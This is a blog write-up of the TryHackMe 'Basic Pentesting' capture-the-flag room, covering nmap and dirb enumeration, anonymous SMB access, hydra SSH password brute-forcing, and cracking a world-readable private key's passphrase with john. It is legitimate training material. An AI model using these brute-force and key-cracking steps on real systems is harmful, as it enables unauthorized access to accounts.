Capture The Flag

TryHackMe - Basic Pentesting Writeup

This is a write-up of my approach to the Basic Pentesting room on TryHackMe. The room is fairly simple and focuses on testing some fundamental pentesting skills.

En1gma
· 5 min read
Send by email
Photo by FlyD / Unsplash
💡
Topics covered: Bruteforcing, Hash Cracking, Service Enumeration, Linux Privilege Escalation

Lab: https://tryhackme.com/room/basicpentestingjt

Stage 1: Enumeration

After deploying the machine, an Nmap scan revealed several potentially vulnerable services:

$ nmap -sS -T5 10.10.130.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 20:44 EDT
Nmap scan report for 10.10.130.13
Host is up (0.15s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

The HTTP service was my first choice for investigation, so I took a look at the website hosted by the machine:

Website screenshot

Although there wasn't much of interest at first, the website being "under maintenance" suggested that there might have been some misconfigured security settings I could take advantage of, so I tried some directory busting with dirb:

$ dirb http://10.10.130.13/

[....]
---- Scanning URL: http://10.10.130.13/ ----
==> DIRECTORY: http://10.10.130.13/development/
+ http://10.10.130.13/index.html (CODE:200|SIZE:158)
+ http://10.10.130.13/server-status (CODE:403|SIZE:278)

There were two text files on the /development page: dev.txt and j.txt

dev.txt  
*******

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
j.txt
*****

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

These implied that there were two important developers, "J" and "K". "J" also probably doesn't use very secure passwords, so I took note and moved on to the next service.

The presence of netbios-ssn and microsoft-ds services indicated that SMB was running on the machine, potentially exposing sensitive data.

💡
Server Message Block(SMB) is a client-server communication protocol that works using requests and responses to share access to files, printers, and other resources over a network.

Using the enum4linux tool, I discovered that the machine allowed anonymous logins and that an Anonymous share was present on the server.

💡
Anonymous SMB logins allow access to shares without authentication, often exposing sensitive data. This misconfiguration is a common attack vector for data exfiltration, lateral movement, or ransomware deployment.
$ enum4linux -S 10.10.130.13

[....]
 =========================================( Target Information )=========================================

Target ........... 10.10.130.13
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

[....]
=================================( Share Enumeration on 10.10.130.13 )=================================

Sharename       Type      Comment
---------       ----      -------
Anonymous       Disk
IPC$            IPC       IPC Service (Samba Server 4.15.13-Ubuntu)

So, using the smbclient tool, I logged into the Anonymous share with anonymous credentials. The share contained a single file named staff.txt.

$ smbclient //10.10.130.13/Anonymous

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018

              14282840 blocks of size 1024. 6248144 blocks available
staff.txt
*****
 
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

The file referenced a person named "Jan", which aligned with the note in the j.txt file on the web server. Based on that, I inferred that "Jan" could be a valid username for the SSH service.

After some brute-forcing using hydra with the rockyou wordlist, I had Jan's password.

$ hydra -l jan -P /usr/share/wordlists/rockyou.txt 10.10.130.13 ssh 

[....]
[DATA] attacking ssh://10.10.130.13:22/
[22][ssh] host: 10.10.130.13   login: jan   password: [redacted]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-14 00:56:07

Stage 2: Escalation

Again, there was not much of interest after logging into the SSH server with Jan's credentials. sudo -l showed that Jan didn't have sudo permissions. She did, however, have read permissions to the /home directory, which had two other users: Kay and Ubuntu.

jan@ip-10-10-130-13:~$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Jul 14 00:22 ..
-rw------- 1 root jan    47 Apr 23  2018 .lesshst
jan@ip-10-10-130-13:~$ ls -la /home
total 20
drwxr-xr-x  5 root   root   4096 Jul 14 00:22 .
drwxr-xr-x 24 root   root   4096 Jul 14 00:22 ..
drwxr-xr-x  2 root   root   4096 Apr 23  2018 jan
drwxr-xr-x  5 kay    kay    4096 Apr 23  2018 kay
drwxr-xr-x  3 ubuntu ubuntu 4096 Jul 14 00:22 ubuntu

Kay's home directory had a pass.bac file, which seemed important, but Jan didn't have read permissions for it. However, with the .ssh folder being world-readable, I had access to Kay’s private SSH key id_rsa.

jan@ip-10-10-130-13:~$ ls -la /home/kay
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Jul 14 00:22 ..
-rw------- 1 kay  kay   789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@ip-10-10-130-13:~$ ls -la /home/kay/.ssh
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

After downloading the key with scp and attempting a connection to the SSH server with Kay's private key, a passphrase was requested. So, hoping Kay followed Jan's trend of insecure passwords, I tried cracking the key's passphrase with the rockyou wordlist after converting the key to a John-suitable format using ssh2john. Getting a hit only took a few seconds.

$ ssh2john id_rsa > crackthis
$ john --wordlist=/usr/share/wordlists/rockyou.txt crackthis

[....]
[redacted]          (id_rsa)

Finally, I managed to SSH as Kay and could read the elusive pass.bak file, which contained a backup password.

kay@ip-10-10-130-13:~$ cat pass.bak
[redacted]

That was it! The challenge was fairly simple, considering the hardest part was waiting for nmap and hydra to return results. Regardless, it was still a fun opportunity to apply many of the pentesting skills I had learned up to that point.